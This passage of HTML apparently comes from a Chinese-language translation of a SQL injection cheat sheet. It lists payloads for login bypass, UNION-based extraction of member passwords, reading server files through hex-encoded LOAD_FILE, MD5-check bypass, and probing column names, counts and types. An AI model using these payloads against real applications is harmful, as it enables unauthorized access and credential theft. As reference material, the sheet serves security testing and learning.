0x45<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M) (\u73b0\u5728\u8fd9\u662f\u6574\u6570\u4e86)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3><a name=\"t17\"><\/a>\u5b57\u7b26\u4e32\u64cd\u4f5c<\/h3>\n<p>\u4e0e\u5b57\u7b26\u4e32\u76f8\u5173\u7684\u64cd\u4f5c\u3002\u8fd9\u5bf9\u4e8e\u6784\u9020\u4e00\u4e2a\u4e0d\u542b\u6709\u5f15\u53f7\uff0c\u7528\u4e8e\u7ed5\u8fc7\u6216\u63a2\u6d4b\u6570\u636e\u5e93\u90fd\u975e\u5e38\u7684\u6709\u7528\u3002<\/p>\n<h4><a name=\"t18\"><\/a>\u5b57\u7b26\u4e32\u7684\u4e32\u8054<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">+<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT login + '-' + password FROM members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">||<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(*MO)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT login || '-' || password FROM members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<p>*\u5173\u4e8eMySQL\u7684&#8221;||&#8221;&nbsp;\u8fd9\u4e2a\u4ec5\u5728ANSI\u6a21\u5f0f\u4e0b\u7684MySQL\u6267\u884c\uff0c\u5176\u4ed6\u60c5\u51b5\u4e0b\u90fd\u4f1a\u5f53\u6210&#8217;\u903b\u8f91\u64cd\u4f5c\u7b26&#8217;\u5e76\u8fd4\u56de\u4e00\u4e2a0\u3002\u66f4\u597d\u7684\u505a\u6cd5\u662f\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CONCAT()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u51fd\u6570\u3002<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CONCAT(str1, str2, str3, ...)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M)\u8fde\u63a5\u53c2\u6570\u91cc\u7684\u6240\u6709\u5b57\u7b26\u4e32 \u4f8b\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CONCAT(login, password) FROM members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<h3><a name=\"t19\"><\/a>\u6ca1\u6709\u5f15\u53f7\u7684\u5b57\u7b26\u4e32<\/h3>\n<p>\u6709\u5f88\u591a\u4f7f\u7528\u5b57\u7b26\u4e32\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u8fd9\u51e0\u4e2a\u65b9\u6cd5\u662f\u4e00\u76f4\u53ef\u7528\u7684\u3002\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CHAR()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(MS)\u548c<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CONCAT()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M)\u6765\u751f\u6210\u6ca1\u6709\u5f15\u53f7\u7684\u5b57\u7b26\u4e32<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">0x457578<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(M) &#8211; 16\u8fdb\u5236\u7f16\u7801\u7684\u5b57\u7b26\u4e32<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT 0x457578<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u8fd9\u5728MySQL\u4e2d\u4f1a\u88ab\u5f53\u505a\u5b57\u7b26\u4e32\u5904\u7406<\/li>\n<li>\u5728MySQL\u4e2d\u4f7f\u752816\u8fdb\u5236\u5b57\u7b26\u4e32\u7684\u4e00\u4e2a\u7b80\u5355\u65b9\u5f0f\uff1a&nbsp;\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CONCAT('0x',HEX('c:\\\\boot.ini'))<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u5728MySQL\u4e2d\u4f7f\u7528\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CONCAT()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u51fd\u6570\uff1a&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(M)\u8fd9\u4f1a\u8fd4\u56de&#8217;KLM&#8217;<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CHAR(75)+CHAR(76)+CHAR(77)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(S)\u8fd9\u4f1a\u8fd4\u56de&#8217;KLM&#8217;<\/li>\n<\/ul>\n<h4><a name=\"t20\"><\/a>\u4f7f\u7528\u4e8616\u8fdb\u5236\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT LOAD_FILE(0x633A5C626F6F742E696E69)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(M)\u8fd9\u4f1a\u663e\u793ac:\\boot.ini\u7684\u5185\u5bb9<\/li>\n<\/ul>\n<h3><a name=\"t21\"><\/a>\u5b57\u7b26\u4e32\u5f02\u5316(Modification)\u4e0e\u8054\u7cfb<\/h3>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ASCII()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(SMP)\u8fd4\u56de\u6700\u5de6\u8fb9\u5b57\u7b26\u7684ASCII\u7801\u7684\u503c\u3002\u8fd9\u662f\u4e00\u4e2a\u7528\u4e8e\u76f2\u6ce8\u7684\u91cd\u8981\u51fd\u6570\u3002\u4f8b\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT ASCII('a')<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CHAR()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(SM)\u628a\u6574\u6570\u8f6c\u6362\u4e3a\u5bf9\u5e94ASCII\u7801\u7684\u5b57\u7b26\u4f8b\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CHAR(64)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<h3><a name=\"t22\"><\/a>Union\u6ce8\u5165<\/h3>\n<p>\u901a\u8fc7union\u4f60\u80fd\u8de8\u8868\u6267\u884c\u67e5\u8be2\u3002\u6700\u7b80\u5355\u7684\uff0c\u4f60\u80fd\u6ce8\u5165\u4e00\u4e2a\u67e5\u8be2\u4f7f\u5f97\u5b83\u8fd4\u56de\u53e6\u4e00\u4e2a\u8868\u7684\u5185\u5bb9\u3002<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u8fd9\u4f1a\u628anews\u8868\u548cmembers\u8868\u7684\u5185\u5bb9\u5408\u5e76\u8fd4\u56de\u3002<\/p>\n<p>\u53e6\u4e00\u4e2a\u4f8b\u5b50\uff1a&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h4><a name=\"t23\"><\/a>UNION-\u8bed\u8a00\u95ee\u9898\u5904\u7406<\/h4>\n<p>\u5f53\u4f60\u4f7f\u7528Union\u6765\u6ce8\u5165\u7684\u65f6\u5019\uff0c\u7ecf\u5e38\u4f1a\u9047\u5230\u4e00\u4e9b\u9519\u8bef\uff0c\u8fd9\u662f\u7531\u4e8e\u4e0d\u540c\u7684\u8bed\u8a00\u7684\u8bbe\u7f6e\uff08\u8868\u7684\u8bbe\u7f6e\u3001\u5b57\u6bb5\u8bbe\u7f6e\u3001\u8868\u6216\u6570\u636e\u5e93\u7684\u8bbe\u7f6e\u7b49\u7b49\uff09\u3002\u8fd9\u4e9b\u529e\u6cd5\u5bf9\u4e8e\u89e3\u51b3\u90a3\u4e9b\u95ee\u9898\u90fd\u633a\u6709\u7528\u7684\uff0c\u5c24\u5176\u662f\u5f53\u4f60\u5904\u7406\u65e5\u6587\uff0c\u4fc4\u6587\uff0c\u571f\u8033\u5176\u6587\u7684\u65f6\u5019\u4f60\u4f1a\u5c31\u4f1a\u89c1\u5230\u4ed6\u4eec\u7684\u3002<\/p>\n<ul>\n<li>\u4f7f\u7528&nbsp;\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">COLLATE SQL_Latin1_General_Cp1254_CS_AS<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)\u6216\u8005\u5176\u5b83\u7684\u4ec0\u4e48\u8bed\u53e5\uff0c\u5177\u4f53\u7684\u81ea\u5df1\u53bb\u67e5SQL Server\u7684\u6587\u6863\u3002 \u4f8b\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">Hex()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M)\u767e\u8bd5\u767e\u7075~<\/li>\n<\/ul>\n<h3><a name=\"t24\"><\/a>\u7ed5\u8fc7\u767b\u9646\u754c\u9762(SMO+)<\/h3>\n<p>SQL\u6ce8\u5165101\u5f0f(\u5927\u6982\u662f\u539f\u6587\u540d\u5b57\u5427\uff1f),\u767b\u9646\u5c0f\u6280\u5de7<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">admin' --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">admin' #<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">admin'\/*<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' or 1=1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' or 1=1#<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' or 1=1\/*<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">') or '1'='1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">') or ('1'='1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>&#8230;.<\/li>\n<li>\u4ee5\u4e0d\u540c\u7684\u7528\u6237\u767b\u9646 (SM*)&nbsp;\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<p>**\u65e7\u7248\u672c\u7684MySQL\u4e0d\u652f\u6301union*<\/p>\n<h3><a name=\"t25\"><\/a>\u7ed5\u8fc7\u68c0\u67e5MD5\u54c8\u5e0c\u7684\u767b\u9646\u754c\u9762<\/h3>\n<p>\u5982\u679c\u5e94\u7528\u662f\u5148\u901a\u8fc7\u7528\u6237\u540d\uff0c\u8bfb\u53d6\u5bc6\u7801\u7684MD5\uff0c\u7136\u540e\u548c\u4f60\u63d0\u4f9b\u7684\u5bc6\u7801\u7684MD5\u8fdb\u884c\u6bd4\u8f83\uff0c\u90a3\u4e48\u4f60\u5c31\u9700\u8981\u4e00\u4e9b\u989d\u5916\u7684\u6280\u5de7\u624d\u80fd\u7ed5\u8fc7\u9a8c\u8bc1\u3002\u4f60\u53ef\u4ee5\u628a\u4e00\u4e2a\u5df2\u77e5\u660e\u6587\u7684MD5\u54c8\u5e0c\u548c\u5b83\u7684\u660e\u6587\u4e00\u8d77\u63d0\u4ea4\uff0c\u4f7f\u5f97\u7a0b\u5e8f\u4e0d\u4f7f\u7528\u4ece\u6570\u636e\u5e93\u4e2d\u8bfb\u53d6\u7684\u54c8\u5e0c\uff0c\u800c\u4f7f\u7528\u4f60\u63d0\u4f9b\u7684\u54c8\u5e0c\u8fdb\u884c\u6bd4\u8f83\u3002<\/p>\n<h4><a name=\"t26\"><\/a>\u7ed5\u8fc7MD5\u54c8\u5e0c\u68c0\u67e5\u7684\u4f8b\u5b50(MSP)<\/h4>\n<blockquote><p>\u7528\u6237\u540d\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">admin<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u5bc6\u7801\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<p>\u5176\u4e2d<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h3><a name=\"t27\"><\/a>\u57fa\u4e8e\u9519\u8bef(Error Based)-\u63a2\u6d4b\u5b57\u6bb5\u540d<\/h3>\n<h4><a name=\"t28\"><\/a>\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">HAVING<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6765\u63a2\u6d4b\u5b57\u6bb5\u540d(S)<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' HAVING 1=1 --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' GROUP BY table.columnfromerror1 HAVING 1=1 --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u2026\u2026<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u76f4\u5230\u5b83\u4e0d\u518d\u62a5\u9519\uff0c\u5c31\u7b97\u641e\u5b9a\u4e86<\/li>\n<\/ul>\n<h4><a name=\"t29\"><\/a>\u5728<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u67e5\u8be2\u4e2d\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ORDER BY<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u63a2\u6d4b\u5b57\u6bb5\u6570(MSO+)<\/h4>\n<p>\u901a\u8fc7ORDER BY\u6765\u63a2\u6d4b\u5b57\u6bb5\u6570\u80fd\u591f\u52a0\u5febunion\u6ce8\u5165\u7684\u901f\u5ea6\u3002<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ORDER BY 1--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ORDER BY 2--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u2026\u2026<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ORDER BY N--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u4e00\u76f4\u5230\u5b83\u62a5\u9519\u4e3a\u6b62\uff0c\u6700\u540e\u4e00\u4e2a\u6210\u529f\u7684\u6570\u5b57\u5c31\u662f\u5b57\u6bb5\u6570\u3002<\/li>\n<\/ul>\n<h3><a name=\"t30\"><\/a>\u6570\u636e\u7c7b\u578b\u3001UNION\u3001\u4e4b\u7c7b\u7684<\/h3>\n<p>\u63d0\u793a\uff1a<\/p>\n<ul>\n<li>\u7ecf\u5e38\u7ed9UNION\u914d\u4e0aALL\u4f7f\u7528\uff0c\u56e0\u4e3a\u7ecf\u5e38\u4f1a\u6709\u76f8\u540c\u6570\u503c\u7684\u5b57\u6bb5\uff0c\u800c\u7f3a\u7701\u60c5\u51b5\u4e0bUNION\u90fd\u4f1a\u5c1d\u8bd5\u8fd4\u56de\u552f\u4e00\u503c(records with distinct)<\/li>\n<li>\u5982\u679c\u4f60\u6bcf\u6b21\u67e5\u8be2\u53ea\u80fd\u6709\u4e00\u6761\u8bb0\u5f55\uff0c\u800c\u4f60\u4e0d\u60f3\u8ba9\u539f\u672c\u6b63\u5e38\u67e5\u8be2\u7684\u8bb0\u5f55\u5360\u7528\u8fd9\u5b9d\u8d35\u7684\u8bb0\u5f55\u4f4d\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">-1<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6216\u8005\u6839\u672c\u4e0d\u5b58\u5728\u7684\u503c\u6765\u641e\u5b9a\u539f\u67e5\u8be2\uff08\u524d\u63d0\u662f\u6ce8\u5165\u70b9\u5728WHERE\u91cc\uff09\u3002<\/li>\n<li>\u5728UNION\u4e2d\u4f7f\u7528NULL\uff0c\u5bf9\u4e8e\u5927\u90e8\u5206\u6570\u636e\u7c7b\u578b\u6765\u8bf4\u8fd9\u6837\u90fd\u6bd4\u778e\u731c\u5b57\u7b26\u4e32\u3001\u65e5\u671f\u3001\u6570\u5b57\u4e4b\u7c7b\u7684\u6765\u5f97\u5f3a\n<ul>\n<li>\u76f2\u6ce8\u7684\u65f6\u5019\u8981\u5c0f\u5fc3\u5224\u65ad\u9519\u8bef\u662f\u6765\u81ea\u5e94\u7528\u7684\u8fd8\u662f\u6765\u81ea\u6570\u636e\u5e93\u7684\u3002\u56e0\u4e3a\u50cfASP.NET\u5c31\u7ecf\u5e38\u4f1a\u5728\u4f60\u4f7f\u7528NULL\u7684\u65f6\u5019\u629b\u51fa\u9519\u8bef\uff08\u56e0\u4e3a\u5f00\u53d1\u8005\u4eec\u4e00\u822c\u90fd\u6ca1\u60f3\u5230\u7528\u6237\u540d\u7684\u6846\u4e2d\u4f1a\u51fa\u73b0NULL\uff09<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4><a name=\"t31\"><\/a>\u83b7\u53d6\u5b57\u6bb5\u7c7b\u578b<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">' union select sum(columntofind) from users--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(S)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;\u5982\u679c\u6ca1\u6709\u8fd4\u56de\u9519\u8bef\u8bf4\u660e\u5b57\u6bb5\u662f\u6570\u5b57\u7c7b\u578b<\/li>\n<li>\u540c\u6837\u7684\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" 